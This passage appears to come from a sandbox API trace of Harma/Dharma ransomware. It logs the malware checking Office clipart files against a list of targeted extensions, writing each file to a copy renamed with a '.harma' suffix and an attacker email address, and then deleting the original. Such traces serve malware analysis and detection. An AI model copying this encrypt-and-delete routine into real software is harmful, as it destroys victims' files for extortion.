(lpString=".zip") returned 4 [0169.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.598] lstrlenW (lpString=".rar") returned 4 [0169.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.598] lstrlenW (lpString=".bz2") returned 4 [0169.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.598] lstrlenW (lpString=".7z") returned 3 [0169.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.598] lstrlenW (lpString=".dbf") returned 4 [0169.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.598] lstrlenW (lpString=".1cd") returned 4 [0169.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.598] lstrlenW (lpString=".jpg") returned 4 [0169.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.598] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.598] lstrlenW (lpString="J0106124.WMF") returned 12 [0169.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.599] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5812) returned 1 [0169.599] CloseHandle (hObject=0x39c) returned 1 [0169.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0169.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.599] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.599] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.600] GetLastError () returned 0x0 [0169.600] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x16b4, lpOverlapped=0x0) returned 1 [0169.602] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x16c0, lpOverlapped=0x0) returned 1 [0169.603] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.603] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.603] SetEndOfFile (hFile=0x348) returned 1 [0169.603] CloseHandle (hObject=0x348) returned 1 [0169.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.603] SetEndOfFile (hFile=0x39c) returned 1 [0169.608] CloseHandle (hObject=0x39c) returned 1 [0169.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0169.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.609] lstrlenW (lpString=".doc") returned 4 [0169.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.609] lstrlenW (lpString=".docx") returned 5 [0169.609] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.609] lstrlenW (lpString=".pdf") returned 4 [0169.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.609] lstrlenW (lpString=".xls") returned 4 [0169.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.609] lstrlenW (lpString=".xlsx") returned 5 [0169.609] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.609] lstrlenW (lpString=".ppt") returned 4 [0169.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.609] lstrlenW (lpString=".zip") returned 4 [0169.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.609] lstrlenW (lpString=".rar") returned 4 [0169.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.609] lstrlenW (lpString=".bz2") returned 4 [0169.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.609] lstrlenW (lpString=".7z") returned 3 [0169.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString=".dbf") returned 4 [0169.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString=".1cd") returned 4 [0169.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString=".jpg") returned 4 [0169.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString=".doc") returned 4 [0169.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString=".docx") returned 5 [0169.610] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.610] lstrlenW (lpString=".pdf") returned 4 [0169.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString=".xls") returned 4 [0169.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.610] lstrlenW (lpString=".xlsx") returned 5 [0169.610] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.610] lstrlenW (lpString=".ppt") returned 4 [0169.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.610] lstrlenW (lpString=".zip") returned 4 [0169.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.611] lstrlenW (lpString=".rar") returned 4 [0169.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.611] lstrlenW (lpString=".bz2") returned 4 [0169.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.611] lstrlenW (lpString=".7z") returned 3 [0169.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.611] lstrlenW (lpString=".dbf") returned 4 [0169.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.611] lstrlenW (lpString=".1cd") returned 4 [0169.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0169.611] lstrlenW (lpString=".jpg") returned 4 [0169.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.611] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.611] lstrlenW (lpString="J0106146.WMF") returned 12 [0169.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.612] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=23548) returned 1 [0169.612] CloseHandle (hObject=0x39c) returned 1 [0169.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0169.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.612] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.612] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.613] GetLastError () returned 0x0 [0169.613] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0169.927] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5c00, lpOverlapped=0x0) returned 1 [0169.929] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.929] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.929] SetEndOfFile (hFile=0x348) returned 1 [0169.929] CloseHandle (hObject=0x348) returned 1 [0169.929] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.929] SetEndOfFile (hFile=0x39c) returned 1 [0169.932] CloseHandle (hObject=0x39c) returned 1 [0169.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.949] lstrlenW (lpString=".doc") returned 4 [0169.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.949] lstrlenW (lpString=".docx") returned 5 [0169.949] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.949] lstrlenW (lpString=".pdf") returned 4 [0169.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.949] lstrlenW (lpString=".xls") returned 4 [0169.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.949] lstrlenW (lpString=".xlsx") returned 5 [0169.949] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.949] lstrlenW (lpString=".ppt") returned 4 [0169.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.950] lstrlenW (lpString=".zip") returned 4 [0169.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.950] lstrlenW (lpString=".rar") returned 4 [0169.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.950] lstrlenW (lpString=".bz2") returned 4 [0169.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.950] lstrlenW (lpString=".7z") returned 3 [0169.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.950] lstrlenW (lpString=".dbf") returned 4 [0169.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.950] lstrlenW (lpString=".1cd") returned 4 [0169.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.950] lstrlenW (lpString=".jpg") returned 4 [0169.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.951] lstrlenW (lpString=".doc") returned 4 [0169.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString=".docx") returned 5 [0169.951] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.951] lstrlenW (lpString=".pdf") returned 4 [0169.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString=".xls") returned 4 [0169.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.951] lstrlenW (lpString=".xlsx") returned 5 [0169.951] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.951] lstrlenW (lpString=".ppt") returned 4 [0169.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.951] lstrlenW (lpString=".zip") returned 4 [0169.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.951] lstrlenW (lpString=".rar") returned 4 [0169.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString=".bz2") returned 4 [0169.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.951] lstrlenW (lpString=".7z") returned 3 [0169.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.951] lstrlenW (lpString=".dbf") returned 4 [0169.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.952] lstrlenW (lpString=".1cd") returned 4 [0169.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0169.952] lstrlenW (lpString=".jpg") returned 4 [0169.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.952] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.952] lstrlenW (lpString="J0107130.WMF") returned 12 [0169.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.953] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=27084) returned 1 [0169.953] CloseHandle (hObject=0x348) returned 1 [0169.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0169.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.953] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.954] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.954] GetLastError () returned 0x0 [0169.955] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x69cc, lpOverlapped=0x0) returned 1 [0169.973] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x69d0, lpOverlapped=0x0) returned 1 [0169.975] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.975] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.975] SetEndOfFile (hFile=0x330) returned 1 [0169.975] CloseHandle (hObject=0x330) returned 1 [0169.975] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.975] SetEndOfFile (hFile=0x348) returned 1 [0169.978] CloseHandle (hObject=0x348) returned 1 [0169.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0169.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.979] lstrlenW (lpString=".doc") returned 4 [0169.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.979] lstrlenW (lpString=".docx") returned 5 [0169.979] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.979] lstrlenW (lpString=".pdf") returned 4 [0169.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.979] lstrlenW (lpString=".xls") returned 4 [0169.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.979] lstrlenW (lpString=".xlsx") returned 5 [0169.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.979] lstrlenW (lpString=".ppt") returned 4 [0169.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.979] lstrlenW (lpString=".zip") returned 4 [0169.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.980] lstrlenW (lpString=".rar") returned 4 [0169.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString=".bz2") returned 4 [0169.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString=".7z") returned 3 [0169.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.980] lstrlenW (lpString=".dbf") returned 4 [0169.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.980] lstrlenW (lpString=".1cd") returned 4 [0169.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.980] lstrlenW (lpString=".jpg") returned 4 [0169.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.980] lstrlenW (lpString=".doc") returned 4 [0169.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString=".docx") returned 5 [0169.980] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.980] lstrlenW (lpString=".pdf") returned 4 [0169.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.980] lstrlenW (lpString=".xls") returned 4 [0169.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.981] lstrlenW (lpString=".xlsx") returned 5 [0169.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.981] lstrlenW (lpString=".ppt") returned 4 [0169.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.981] lstrlenW (lpString=".zip") returned 4 [0169.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.981] lstrlenW (lpString=".rar") returned 4 [0169.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.981] lstrlenW (lpString=".bz2") returned 4 [0169.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.981] lstrlenW (lpString=".7z") returned 3 [0169.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.981] lstrlenW (lpString=".dbf") returned 4 [0169.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.981] lstrlenW (lpString=".1cd") returned 4 [0169.981] lstrcmpiW (lpString1=".1cd", 